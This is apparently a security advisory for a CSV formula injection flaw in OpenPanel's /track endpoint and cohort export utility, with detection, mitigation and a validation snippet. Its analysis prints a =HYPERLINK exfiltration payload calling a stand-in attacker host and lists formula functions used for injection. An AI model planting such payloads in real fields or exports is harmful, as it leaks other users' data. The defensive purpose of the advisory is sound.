CVE-2026-108579: OpenPanel CSV Formula Injection Flaw

CVE-2026-108579 Overview

CVE-2026-108579 is a CSV formula injection vulnerability affecting OpenPanel through version 2.3.0. Unauthenticated attackers can submit crafted profile IDs to the /track endpoint that match an existing cohort. When an operator later exports that cohort as a CSV file, spreadsheet applications evaluate the embedded formulas and can exfiltrate adjacent cell data. The flaw is classified under CWE-1236: Improper Neutralization of Formula Elements in a CSV File.

Critical Impact
Unauthenticated attackers can inject spreadsheet formulas such as =HYPERLINK(...) into exported cohort CSVs, enabling data exfiltration when operators open the files.

Affected Products

OpenPanel versions through 2.3.0
OpenPanel /track tracking endpoint
OpenPanel cohort CSV export utility (apps/start/src/utils/csv-download.ts)

Discovery Timeline

2026-10-10 - CVE-2026-108579 published to NVD
2026-10-14 - Last updated in NVD database

Technical Details for CVE-2026-108579

Vulnerability Analysis

OpenPanel exposes a public /track endpoint that accepts tracking events, including a profile_id field used to attribute events to user profiles. The application does not neutralize spreadsheet formula characters supplied in this field. When a profile ID matches cohort membership criteria, that identifier is persisted and later included in cohort member exports.

The CSV download utility at apps/start/src/utils/csv-download.ts writes field values directly into CSV rows without prefixing values that begin with =, +, -, or @. Spreadsheet software such as Microsoft Excel, LibreOffice Calc, and Google Sheets interprets these cells as formulas when the exported file is opened.

An attacker who injects =HYPERLINK("https://attacker.example/?x="&A2,"Click") can trigger outbound requests that leak adjacent cell contents, including analytics data belonging to other users. The vulnerability requires no authentication to inject, but requires an operator to open the exported file.

Root Cause

The root cause is missing output sanitization in the CSV serialization path. OpenPanel treats user-controlled identifiers as safe strings and does not escape leading formula triggers before writing them to CSV cells, violating the mitigation pattern described in CWE-1236.

Attack Vector

The attack chain requires network access to the OpenPanel /track endpoint and user interaction from an operator who exports and opens the cohort CSV. An attacker crafts a tracking request that supplies a formula-bearing profile_id that satisfies the targeting criteria of an existing cohort. When an analyst later downloads the cohort as CSV and opens it in a spreadsheet application, the embedded formula executes within the user's spreadsheet context.

See the VulnCheck advisory for OpenPanel and the HackMD write-up on OpenPanel formula injection for full exploitation details. The vulnerable serialization logic is published in the GitHub CSV download utility source.

Detection Methods for CVE-2026-108579

Indicators of Compromise

Tracking events to /track with profile_id values starting with =, +, -, @, tab, or carriage return characters.
Presence of HYPERLINK, WEBSERVICE, IMPORTXML, IMPORTDATA, or DDE tokens in stored profile identifiers.
Outbound DNS or HTTP requests from analyst workstations to unexpected domains shortly after cohort CSV exports.

Detection Strategies

Inspect OpenPanel database tables storing profile_id values for strings beginning with CSV formula trigger characters.
Review web server access logs for POST requests to /track carrying payloads containing formula functions.
Correlate cohort export actions in audit logs with subsequent anomalous network activity from analyst endpoints.

Monitoring Recommendations

Enable request logging on the /track endpoint with full body capture to retain evidence of injection attempts.
Alert on spreadsheet processes (excel.exe, soffice.bin) initiating outbound HTTP requests after opening files from the OpenPanel download directory.
Monitor file creation events for CSV files exported by OpenPanel and track their downstream handling.

How to Mitigate CVE-2026-108579

Immediate Actions Required

Upgrade OpenPanel to a version later than 2.3.0 once the maintainers publish a fix. Track the OpenPanel GitHub repository for release announcements.
Audit existing cohort records for profile identifiers that begin with formula trigger characters and purge or neutralize them.
Instruct analysts to open exported CSV files only in applications configured to disable automatic formula evaluation.

Patch Information

As of the NVD publication date, no vendor patch URL is listed in the advisory references. Review the VulnCheck advisory for OpenPanel and the upstream OpenPanel repository for the latest remediation status and release notes.

Workarounds

Modify the CSV export utility to prefix any cell value starting with =, +, -, @, tab, or carriage return with a single quote (') before serialization.
Validate and reject tracking payloads where profile_id begins with a formula trigger character at the ingestion layer.
Export cohort data in a non-executable format such as JSON or TSV when immediate code changes are not feasible.

bash

# Example input validation at an upstream proxy (illustrative)
# Reject /track requests whose profile_id begins with a CSV formula trigger
if [[ "$profile_id" =~ ^[=+\-@\t\r] ]]; then
  echo "Rejected: formula injection attempt" >&2
  exit 1
fi